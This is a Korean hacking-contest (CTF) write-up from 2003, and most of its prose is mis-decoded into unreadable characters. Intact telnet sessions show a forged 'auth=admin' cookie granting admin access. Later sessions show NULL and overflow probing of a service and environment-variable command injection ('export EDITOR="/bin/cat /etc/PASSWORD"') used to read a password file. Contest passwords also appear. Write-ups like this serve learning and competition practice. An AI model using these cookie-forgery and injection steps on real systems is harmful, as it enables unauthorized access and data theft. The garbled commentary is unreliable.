:):):):):):):):):):):):):):):):):):):):):) ;) ±èõ °úÇдëÇÐ ÇØÅ· °æÁø´ëȸ º¸.°í.¼­ ;) :):):):):):):):):):):):):):):):):):):):):) [ Áß,°íµîºÎ ] --------------------------------------- | $ whoami | | ÀÛ¼ºÀÚ : hkpco(¹ÚÂù¾Ï) | | Çб³ : ³²»êÁßÇб³ | | e-mail&MSN : hkpco@hanmail.net | | home-page : http://hkpco.kr/ | --------------------------------------- ------ |at..| ------ KoreaSecurity Member - http://koreasecurity.net/ WiseGuys Member - http://hackerschool.org/ ¤Ñ______________________________________________________________¤Ñ ¾¾ÀÍ ´ëȸ °ü°èÀÚ ºÐµé²² ÀÌ·±Àú·± ¸»µé.. ===================================== ¾È³çÇϼ¼¿ä. ¸ÕÀú ÀÌ·± ÁÁÀº ´ëȸ¸¦ °³ÃÖÇÏ¿© Áּż­ °¨»çÇÕ´Ï´Ù. ±×¸®°í ¿©·¯ ´ëȸ ¿î¿µÀÚ ºÐµé²² Àú¿¡°Ô ÀÌ·± °øºÎÇÒ¼ö ÀÖ´Â ±âȸ¸¦ Á¦°øÇØ Áּż­ °¨»çÇÏ´Ù´Â ¸»À» ÀüÇÏ°í ½Í½À´Ï´Ù. ÀÌ ´ëȸ¸¦ °è±â·Î ¸¹Àº°ÍÀ» ±ú´Ý°í ¹è¿ì°Ô µÇ¾ú½À´Ï´Ù. Âü ¹è¿ï°Ô ¸¹Àº ´ëȸ¿´½À´Ï´Ù. ±×·³ ´ÙÀ½¿¡µµ ÀÌ·± ´ëȸ°¡ ¿­¸®±â¸¦ ±â´ëÇÏ¸ç ¼­µÎ ¸¶Ä¡°Ú½À´Ï´Ù. ===================================== 1. ´ëȸÀÇ Âü°¡ ±èõ °úÇдëÇÐ ´ëȸ°¡ ½ÃÀ۵Ǵ³¯! 4½ÃÂë ÁýÀ¸·Î µ¹¾Æ¿Í ÄÄÇ»Å͸¦ Å°°í ¹®Á¦¸¦ Ç® Áغñ¸¦ ÇÏ¿´½À´Ï´Ù! Æò¼Ò ¸Å¹Ìó·³ ºÙ¾î¼­ °øºÎÇÏ´ø 3°³ÀÇ ¼­¹ö¸¦ ÄÑ ³õÀºÃ¤, ¹®Á¦¸¦ º¸¾Ò½À´Ï´Ù. ¸ÕÀú 1´Ü°è go! (µÎ±ÙµÎ±Ù..) 2. level1 À» ÇâÇÏ¿©.. ¹®Á¦¸¦ º¸°Ú½À´Ï´Ù! ====================================================================== | -¹®Á¦- | | http://211.205.70.252/ ¿¡ Á¢¼ÓÇϽþî À¥ ¾îµå¹Î °èÁ¤À» ȹµæÇϼ¼¿ä | | adminÀ¸·Î Á¢±Ù½Ã¿¡ ´ÙÀ½·¹º§ÀÇ Æнº¿öµå¸¦ º¸¿©ÁÝ´Ï´Ù | ====================================================================== ¿ì¼± http://211.205.70.252/ ¿¡ Á¢¼ÓÇÏ¿´½À´Ï´Ù. ·Î±×ÀΠâÀÌ À־ ¼Ò½º¸¦ º¸´Ï /cgi-bin/LeVel1NiMdA.cgi ÀÌ°ÍÀÌ ´«¿¡ ¶ç¿´½À´Ï´Ù. ¼Ò½º¸¦ º¸´Â ¹æ¹ýÀº Àú¸¸ÀÇ Å×Å©´Ð? ¾Æ´Ñ Å×Å©´ÐÀÌ ÀÖ½À´Ï´Ù. ( ¾Æ·¡¿¡ ) ------------------------------------------------------------------------------------------ - ¸ÕÀú âƲ¾È¿¡ À¥ÆäÀÌÁö¸¸ ÀÖ´Â ½ä··ÇÑ ÀͽºÇ÷η¯°¡ ÀÖÀ¸¸é - - Ctrl+N À» ´©¸¨´Ï´Ù. ±×·¯¸é »õ âÀÌ Çϳª ¶å´Ï´Ù. - - ±×·±µ¥ ±× âÀº ±× Àü¿¡ ³×¸ð³­ Ʋ¾È¿¡ ÀÖ´Â ÆäÀÌÁö°¡ ¾Æ´Õ´Ï´Ù! - - º¸Åë ÀͽºÇ÷η¯ ÄÓ¶§Ã³·³ ÆÄÀÏ,ÆíÁý,º¸±â µîÀÇ ¸Þ´º¿Í ´ÜÃà ¾ÆÀÌÄÜÀÌ ÀÖ´Â ±× âÀÔ´Ï´Ù! - - ±×·³ º¸±â-> ¼Ò½º ·Î °¡¼­ ¼Ò½º¸¦ º¾´Ï´Ù! È÷Èý.. - ------------------------------------------------------------------------------------------ ¼Ò½º¸¦ º¸´Ï ´Ù¸¥ ÀǽÉÇÏ´Â°Ç Çϳª~(?) µµ ¾Èº¸¿´±â¿¡ telnet À» ÀÌ¿ëÇÏ¿© 80¹ø Æ÷Æ®¿¡ Á¢¼ÓÇÏ¿© °ø°ÝÇغ¸±â·Î ÇÏ¿´½À´Ï´Ù. !!! º¸°í¼­ ÀÛ¼ºÇÏ·Á´Âµ¥ ¹®Á¦ ¼­¹ö°¡ ´ÝÇô¼­ ¹Ì¸® º¹»çÇصР¾à°£ÀÇ °á°ú¹°À» ÆíÁýÇÏ¿´½À´Ï´Ù !!! [hkpco@work hkpco]$ telnet 211.205.70.252 80 // ¹®Á¦ ¼­¹ö¿¡ 80¹ø Æ÷Æ®·Î Á¢¼Ó Trying 211.205.70.252... Connected to 211.205.70.252. Escape character is '^]'. POST /cgi-bin/LeVel1NiMdA.cgi HTTP/1.0 // POST ¸¦ ÀÌ¿ëÇÏ¿©, ¹®Á¦¼­¹ö¿¡¼­ ¼Ò½º¸¦ º¸¾ÒÀ»¶§ ÀÖ´ø // /cgi-bin/LeVel1NiMdA.cgi ¸¦ POST ¸¦ ÀÌ¿ëÇÏ¿©! ( GET µµ °¡´ÉÇÏÁö¸¸ ) HTTP/1.1 200 OK Date: Wed, 26 Nov 2003 15:56:42 GMT Server: Web/1.0.00 (Unix) Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ Set-Cookie: auth=user; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ <- ÀÌ ºÎºÐ¿¡ auth=user ºÎºÐÀÌ ÀǽÉÀÌ °¬½À´Ï´Ù. auth=user ºÎºÐ¿¡ admin Áï, ÃÖ°í±ÇÇÑÀ» ¼³Á¤ÇØ ÁÖ¸é! À̶ó´Â Á÷°¨ÀÌ ²ÆÇû½À´Ï´Ù! /* À­ ºÎºÐÀ» ¼³¸íÇÏÀÚ¸é ÄíÅ°¸¦ ¼³Á¤ÇØÁÖ´Â ºÎºÐ¿¡¼­ auth ·Î userid ¸¦ ¹Þ¾Æ¼­ ±× id ±ÇÇÑÀ¸·Î ÀÏÀ» ÇÏ´Â°Í °°½À´Ï´Ù. */ Connection: close Content-Type: text/html Level1 Auth Cookie: auth=admin // auth ¸¦ admin À¸·Î ÇÏ¿© ÀÔ·Â /* print... */ HTTP/1.1 200 OK Date: Wed, 26 Nov 2003 22:30:19 GMT Server: Web/1.0.00 (Unix) Set-Cookie: count=1; expires=30-Nov-03 00:00:00 GMT; path=/cgi-bin/ Connection: close Content-Type: text/html Level1 Auth You are admin level.
Next stage
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ÇØ´ä : 2qjsanswpfh%ok

username : admin
Connection closed by foreign host. [hkpco@work hkpco]$ ¿Í~~~ ´äÀº 2qjsanswpfh%ok ¶ó°í ³ª¿É´Ï´Ù. Åë°úÇÑ°ÍÀ̳׿ä ^0^;; ################################################################################# ! ! ! feel? : À¥ »óÀÇ Ãë¾àÁ¡¿¡ Å« ºñÁßÀ» Â÷ÁöÇÏ°íÀÖ´Â, ±×¸®°í À§ÇèÇÑ ÄíÅ°½º´ÏÇÎ.. ! ! ÄíÅ° ½º´ÏÇο¡ ´ëÇÑ °¨°¢°ú À§Çèµµ¸¦ Àϱú¿öÁÖ´Â ÁÁÀº ¹®Á¦¿´½À´Ï´Ù ^^; ! ! ! $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ 3. level2.. °¡´ÉÇÒ±î..? ÈÄ¿ó! ÇѼû Å©°Ô µéÀ̽¬°í, Ǫ¾Æ~ ³»½¬°í.. ¸¶À½À» °¡´Ùµë°í level2 ¸¦ ÇâÇÑ ¹®Á¦¸¦ º¸¾Ò½À´Ï´Ù. =================================================================================== | +¹®Á¦+ | | 211.205.70.252¼­¹öÀÇ 18523/tcp Æ÷Æ®¿¡ ƯÁ¤ ¸ñÀûÀÇ ÇÁ·Î±×·¥ÀÌ µ¿ÀÛÇÏ°í ÀÖ½À´Ï´Ù | | ¿©·¯ ÇÁ·Î±×·¥°ú ¸í·ÉÀÌ Á¸ÀçÇϸç ƯÁ¤ÆÄÀϾȿ¡ ´ÙÀ½·¹º§ÀÇ Æнº¿öµå°¡ µé¾îÀÖ½À´Ï´Ù | =================================================================================== ÀÏ´Ü ºÎµ÷ÃÄ º¸¾Æ¾ß ÇÒ ¹®Á¦ÀÎ°Í °°¾Æ¼­ telnet À» ÀÌ¿ëÇÏ¿© 211.205.70.252 ¼­¹ö¿¡ 18523 Æ÷Æ®·Î Á¢¼ÓÇÏ¿´½À´Ï´Ù. [hkpco@work hkpco]$ telnet 211.205.70.252 18523 Trying 211.205.70.252... Connected to 211.205.70.252. Escape character is '^]'. level2 password: /* ¾Ñ.. level2 ÀÇ Æнº¿öµå¸¦ ÀÔ·ÂÇ϶ó´Â±º¿ä, ³ªÁß¿¡ ¾È »ç½ÇÀÌÁö¸¸ ÀÌ Àü ¹®Á¦¿¡¼­ ±¸ÇÑ 2qjsanswpfh%ok ÀÌ Æнº¿öµå¸¦ ÀÔ·ÂÇ϶ó´Â ¸»À̾ú´Âµ¥, Àü ±×°Íµµ ¸ð¸£°í Àú ÀÎÁõÀ» Ç®¾î¾ß ÇÏ´ÂÁÙ ¾Ë°í ¿©·¯°¡ÁöÀÇ »ðÁúÀ» ÇÏ¿´½À´Ï´Ù. ¸î°¡Áö ¿¹¸¦ µéÀÚ¸é -_-; Àú±â¿¡ NULL µµ ³Ö¾îº¸°í ÀÎÀÚ¸¦ ¸¹ÀÌ ³Ö¾î¼­ ¾î¶² ¿À·ù°¡ ³ª³ªµµ º¸°í º°¿¡º° °É ´Ù ÇغýÀ´Ï´Ù -_-; º¸½Ã¸é.. ( ¾Æ·¡¿¡ ) */ ---------------------------------------------------------------------------------------------------------------------- ³»°¡ ¹» ÇßÁö? 1. [hkpco@work hkpco]$ (perl -e 'print 0x00';cat) | telnet 211.205.70.252 18523 // NULL À» ³Ö±â À§ÇÏ¿©.. 2. [hkpco@work hkpco]$ (perl -e 'print 0x00') | telnet 211.205.70.252 18523 // ;cat À» ³ÖÁö ¾Ê°í.. 3. [hkpco@work hkpco]$ (perl -e 'print "AAAAAAAA...¸¹ÀÌ"';cat) | telnet 211.205.70.252 18523 // overflow °¡ ÀϾ±î? µîµîµî.. ---------------------------------------------------------------------------------------------------------------------- Á¦°¡ Àú·± Áþ(?) µéÀ» Ç߳׿ä -_-;; ÀÌÁ¦ º¸¸é Á¦°¡ ¹®Á¦¸¦ Àß ÀоÁö ¸øÇÑ ÀúÀÇ »ê¸¸ÇÔ!? ¶§¹®ÀÎ°Í °°½À´Ï´Ù. ±×¸®°í Á¢¼Ó Çؼ­µµ ¸í··¾î »ç¿ë¹ýÀ» ¸ô¶ó Çì¸ä½À´Ï´Ù ¤Ñ.¤Ì ÀÚ.. ±×·³ ÀÌÁ¦ º»°ÝÀûÀ¸·Î ¹®Á¦Ç®À̸¦ Çغ¸°Ú½À´Ï´Ù. !!! °í³óµµ ¾×±â½º(?) ¹®Á¦Ç®ÀÌ ÀÔ´Ï´Ù ¤Ñ_¤Ñ; !!! [hkpco@work hkpco]$ telnet 211.205.70.252 18523 // 18523 Æ÷Æ®·Î ¹®Á¦ ¼­¹ö Á¢¼Ó! Trying 211.205.70.252... Connected to 211.205.70.252. Escape character is '^]'. level2 password: 2qjsanswpfh%ok // ÀÌÀü¿¡ ±¸Çß´ø Æнº¿öµå ÀÔ·Â Welcome to level2 command : help; help; // help command ¸¦ ÀÔ·ÂÇÏ¿© ¹¹°¡¹ºÁö ¾Ë¾Æº¾´Ï´Ù! Ãâ·Â -> ´ë·« ÁüÀÛÀâ¾Æ¼­ ¾à°£ÀÇ ¼³¸íÀ» ´Þ¸é HELP========================================= id; : current user id // id º¸´Â°Å cul; : calculator eg) cul 1 + 2; // °è»êÇϴ°Šdate; : current date and time // ½Ã°£ Ãâ·Â cal; : calendar // ´Þ·Â Ãâ·Â echo; : message test eg) echo this is test; // ±âÁ¸ÀÇ ¸®´ª½ºÀÇ echo ¸í·É¾î¿Í À¯»ç, ȤÀº µ¿ÀÏ ---------------------------------------------------------------- | src; : view source // ¼Ò½º¸¦ º¸¿©ÁÖ´Â°Í | | srcl; : available source list // ¸®½ºÆ®¸¦ º¸¿©ÁÖ´Â°Í | ---------------------------------------------------------------- rand; : generate random value // ·£´ýÀ¸·Î(?) Àß ¸ð¸£°ÚÀ½ logtime; : login time // ·Î±×ÀÎÇÑ ½Ã°£À» Ãâ·Â fortume; : fortune game // °ÔÀÓ? myip; : print your IP // ³ªÀÇ ip Ãâ Ãâ·Â // ÀÚ! Á¦ÀÏ Áß¿äÇÑ°Ç ³×¸ð·Î Å׵θ®¸¦ ÃĵРsrc ¿Í srcl ÀÔ´Ï´Ù!!! // ÆÄÀÏÀÇ ¸®½ºÆ®¸¦ º¸¸é src ¿Í srcl À̶õ°Ô ÀÖ½À´Ï´Ù. // ´Ù¸¥ ÆÄÀϵéÀº ´Ù ±³¶õÀÛÀüÀ» À§ÇÑ Çì´õÆÄÀÏµé °°±âµµ ÇÕ´Ï´Ù. src srcl; // srcl À» º¸¾Ò½À´Ï´Ù. ======= source =[srcl]==================== #!/bin/ksh cd source echo * cd / // pwd; µµ ¸ÔÇû´Âµ¥(»ç¿ë °¡´ÉÇߴµ¥) ÇöÀç °æ·Î°¡ / ¿´½À´Ï´Ù. // À§ ½ºÅ©¸³Æ®¿¡¼­ ºÁµµ ÇöÀç °æ·Î°¡ / ¶ó´Â°É ÁüÀÛÇÒ¼ö ÀÖ½À´Ï´Ù. // source µð·ºÅ丮·Î °¡¼­ ÆÄÀϸ®½ºÆ®¸¦ Ãâ·ÂÇÑ ´ÙÀ½¿¡ ´Ù½Ã / ·Î °¡´Â ½ºÅ©¸³Æ® ÀÔ´Ï´Ù. ============================================ src src; // src ¸¦ º¾´Ï´Ù. ======= source =[src]==================== #!/bin/ksh -> ksh À» »ç¿ëÇÕ´Ï´Ù. if /bin/test -z $1 ; then echo "usage: src "; exit ; fi -> ÀÎÀÚÀÇ À¯¹«¸¦ ÆǺ°, ÀÎÀÚ°¡ ÀÖÀ¸¸é ´ÙÀ½À¸·Î, ¾øÀ¸¸é usage: src Ãâ·ÂÇÏ°í Á¾·áÇÕ´Ï´Ù. fname=`/bin/basename $1` -> man-page ¸¦ ÀοëÇÏ°Ú½À´Ï´Ù -> basename ¸í·ÉÀº name ·ÎºÎÅÍ ¾ÕºÎºÐÀÇ µð·ºÅ丮¸í ºÎºÐÀ» ¸ðµÎ Á¦°ÅÇÑ´Ù. if /bin/test -z $EDITOR ; then EDITOR=/bin/cat ; fi -> ¹®ÀÚ¿­ÀÇ ±æÀÌ°¡ 0À̸é EDITOR ¿¡ /bin/cat À» ³Ö½À´Ï´Ù. echo "======= source =[$fname]====================" -> ======= source =[$fname]==================== ¸¦ Ãâ·ÂÇÕ´Ï´Ù. $fname Àº º¯¼ö $fname ÀÇ ³»¿ëÀ» Ãâ·ÂÇÕ´Ï´Ù. $EDITOR source/$fname -> $EDITOR source/$fname ÀÌ ±¸¹®À» ½ÇÇàÇÕ´Ï´Ù. echo "============================================" -> ============================================ ¸¦ Ãâ·ÂÇÕ´Ï´Ù. ============================================ À§¸¦ º¸½Ã¸é Àú·± ½© ½ºÅ©¸³Æ®¸¦ ¸ð¸¥´Ù ÇÏ¿©µµ $EDITOR ȯ°æº¯¼ö¸¦ °¡Áö°í ¹®Á¦¸¦ Ǭ´Ù´Â°ÍÀ», ±×¸®°í ´ëÃæ ¾î¶²½ÄÀ¸·Î Ǫ´Â°¡¸¦ ÁüÀÛÇÒ¼ö ÀÖ½À´Ï´Ù. export ¸¦ $EDITOR¿¡ Àû¿ë½ÃÄÑ echo ¸í·ÉÀ» »ç¿ëÇÏ¿© ÇöÀç °æ·Î(ÃÖ»óÀ§ µð·ºÅ丮)¿¡ ÆÄÀϵéÀ» ¸ðÁ¶¸® º¸±â·Î ÇÏ¿´½À´Ï´Ù. ( ÇöÀç°æ·Î¸¦ ÃÖ»óÀ§ µð·ºÅ丮·Î ¼³Á¤ÇÏ¿© ÁØ°Ô Àǽɽº·¯¿ö¼­ ) $EDITOR source/$fname ÀÌ°ÍÀ» º¸¸é ¸¸¾à $EDITOR ȯ°æº¯¼ö¿¡ /bin/cat abcdefg ¶ó´Â ³»¿ëÀ» ³Ö¾ú´Ù¸é $EDITOR source/$fname -> /bin/cat abcdefg source/$fname ÀÌ µÉ°ÍÀÔ´Ï´Ù. ±×·±µ¥ /bin/cat abcdefg ´ÙÀ½ÀÇ ÀÎÀÚµéÀº ¹«½ÃÇÒ°ÍÀÔ´Ï´Ù. ±×·³ ÀÌÁ¦ ±×°ÍÀ» ÀÌ¿ëÇÏ¿© °ø°ÝÀ» ½ÃµµÇØ º¾´Ï´Ù. export EDITOR="echo *"; // ¸ðµç ÆÄÀÏÀ» º¾´Ï´Ù~! ( ÇöÀç°æ·Î / ) src src; // src ÆÄÀÏÀÌ ¾î¶»°Ô ¹Ù²î¾úÀ»±î¿ä.. ======= source =[src]==================== bin cal cul date etc fortune help id lib source src srcl usr source/src // ¿©·¯ ÆÄÀϵéÀÌ ÀÖ½À´Ï´Ù. Á¦°¡ Á¦ÀÏ ¸ÕÀú ´«¿¡ ¶ç¾ú´ø°Ç etc ÀÔ´Ï´Ù. // etc ÀÇ ³»¿ëÀ» ¸ÕÀú È®ÀÎÇϱâ·Î ÇÏ¿´½À´Ï´Ù! // ( ¹°·Ð ´Ù¸¥°Íµéµµ ÀÖÁö¸¸ ¾Æ¹«·¡µµ etc °°¾Ò½À´Ï´Ù ) // °ú¿¬ ¹¹°¡ µé¾îÀÖÀ»±î¿ä.. ============================================ export EDITOR="echo /etc/*"; // export ¸¦ °¡Áö°í EDITOR ȯ°æº¯¼ö¸¦ echo °¡ /etc/* ¸¦ Ãâ·ÂÇϵµ·Ï ¼³Á¤ÇÕ´Ï´Ù. src src; // src È®ÀÎ! ======= source =[src]==================== /etc/PASSWORD /etc/suid_profile source/src // Çã¾ï.. À¯³­È÷µµ ´«¿¡ ¶ç´Â°Ô /etc/PASSWORD À̱º¿ä! ============================================ export EDITOR="cat /etc/PASSWORD"; // À̹ø¿¡´Â cat À» ÀÌ¿ëÇÏ¿© /etc/PASSWORD ÀÇ ³»¿ëÀ» º¾´Ï´Ù! src src; // src È®ÀÎ! ======= source =[src]==================== // ¾Ñ.. ¿Ö ¾Æ¹«°Íµµ ¾øÁö.. // À§¿¡ ½ºÅ©¸³Æ®¿¡¼­ /bin/cat(Àý´ë°æ·Î) ¸¦ »ç¿ëÇÏ´øµ¥ // ±×·³ À̹ø¿¡´Â cat ÀÇ Àý´ë°æ·Î¸¦ ½áÁ༭ ½ÃµµÇØ º¸¾Æ¾ß °Ú½À´Ï´Ù. ============================================ export EDITOR="/bin/cat /etc/PASSWORD"; // À̹ø¿¡´Â /bin/cat À» ÀÌ¿ëÇÏ¿©! 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